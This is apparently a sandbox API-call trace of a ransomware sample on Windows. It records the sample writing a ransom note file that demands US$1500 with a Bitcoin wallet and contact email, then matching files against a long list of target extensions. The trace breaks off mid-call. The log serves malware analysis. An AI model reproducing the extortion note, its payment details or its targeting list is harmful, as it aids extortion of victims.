pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\") returned="" [0111.148] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\HOW TO DECRYPT FILES.txt" [0111.148] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\bd1950e68286b869edc77261e0821c93\\how to decrypt files.txt")) returned 0xffffffff [0111.148] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\bd1950e68286b869edc77261e0821c93\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.153] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.153] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.155] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.155] CloseHandle (hObject=0x90) returned 1 [0111.156] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll" [0111.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0111.156] lstrlenA (lpString="*.ems") returned 5 [0111.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.db") returned 0 [0111.156] lstrlenA (lpString="*.db") returned 4 [0111.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0111.156] lstrlenA (lpString="*.dbf") returned 5 [0111.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0111.156] lstrlenA (lpString="*.myox") returned 6 [0111.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0111.156] lstrlenA (lpString="*.myo") returned 5 [0111.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0111.156] lstrlenA (lpString="*.qbw") returned 5 [0111.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0111.156] lstrlenA (lpString="*.qbb") returned 5 [0111.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0111.156] lstrlenA (lpString="*.qbm") returned 5 [0111.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0111.156] lstrlenA (lpString="*.qbo") returned 5 [0111.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0111.156] lstrlenA (lpString="*.qbx") returned 5 [0111.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0111.157] lstrlenA (lpString="*.qba") returned 5 [0111.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0111.157] lstrlenA (lpString="*.qby") returned 5 [0111.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0111.157] lstrlenA (lpString="*.qbj") returned 5 [0111.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0111.157] lstrlenA (lpString="*.ofx") returned 5 [0111.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0111.157] lstrlenA (lpString="*.qif") returned 5 [0111.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0111.157] lstrlenA (lpString="*.mye") returned 5 [0111.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0111.157] lstrlenA (lpString="*.mbox") returned 6 [0111.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0111.157] lstrlenA (lpString="*.eml") returned 5 [0111.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0111.157] lstrlenA (lpString="*.pst") returned 5 [0111.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0111.157] lstrlenA (lpString="*.ost") returned 5 [0111.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0111.158] lstrlenA (lpString="*.idx") returned 5 [0111.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0111.158] lstrlenA (lpString="*.dbx") returned 5 [0111.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0111.158] lstrlenA (lpString="*.sql") returned 5 [0111.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0111.158] lstrlenA (lpString="*.mdb") returned 5 [0111.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0111.158] lstrlenA (lpString="*.fdb") returned 5 [0111.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0111.158] lstrlenA (lpString="*.wab") returned 5 [0111.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0111.158] lstrlenA (lpString="*.dat") returned 5 [0111.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0111.158] lstrlenA (lpString="*.txt") returned 5 [0111.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0111.158] lstrlenA (lpString="*.jpeg") returned 6 [0111.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0111.158] lstrlenA (lpString="*.jpg") returned 5 [0111.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.png") returned 0 [0111.158] lstrlenA (lpString="*.png") returned 5 [0111.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.php") returned 0 [0111.159] lstrlenA (lpString="*.php") returned 5 [0111.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0111.159] lstrlenA (lpString="*.cs") returned 4 [0111.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0111.159] lstrlenA (lpString="*.cpp") returned 5 [0111.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0111.159] lstrlenA (lpString="*.rar") returned 5 [0111.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0111.159] lstrlenA (lpString="*.zip") returned 5 [0111.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.html") returned 0 [0111.159] lstrlenA (lpString="*.html") returned 6 [0111.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0111.159] lstrlenA (lpString="*.htm") returned 5 [0111.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0111.159] lstrlenA (lpString="*.xlsx") returned 6 [0111.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0111.159] lstrlenA (lpString="*.xls") returned 5 [0111.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0111.159] lstrlenA (lpString="*.mp4") returned 5 [0111.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0111.159] lstrlenA (lpString="*.ppt") returned 5 [0111.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0111.159] lstrlenA (lpString="*.pptx") returned 6 [0111.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0111.160] lstrlenA (lpString="*.doc") returned 5 [0111.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0111.160] lstrlenA (lpString="*.dot") returned 5 [0111.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0111.160] lstrlenA (lpString="*.docx") returned 6 [0111.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0111.160] lstrlenA (lpString="*.7z") returned 4 [0111.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0111.160] lstrlenA (lpString="*.tar") returned 5 [0111.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0111.160] lstrlenA (lpString="*.bz2") returned 5 [0111.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0111.160] lstrlenA (lpString="*.gz") returned 4 [0111.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0111.160] lstrlenA (lpString="*.mkv") returned 5 [0111.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0111.160] lstrlenA (lpString="*.eml") returned 5 [0111.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0111.160] lstrlenA (lpString="*.msg") returned 5 [0111.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0111.160] lstrlenA (lpString="*.edb") returned 5 [0111.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0111.160] lstrlenA (lpString="*.accdb") returned 7 [0111.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0111.161] lstrlenA (lpString="*.odb") returned 5 [0111.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.java") returned 0 [0111.161] lstrlenA (lpString="*.java") returned 6 [0111.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0111.161] lstrlenA (lpString="*.asm") returned 5 [0111.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0111.161] lstrlenA (lpString="*.pfx") returned 5 [0111.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0111.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0111.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0111.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0111.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0111.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0111.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0111.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0111.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0111.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0111.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0111.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0111.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0111.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0111.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0111.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0111.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0111.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0111.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0111.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0111.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0111.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", 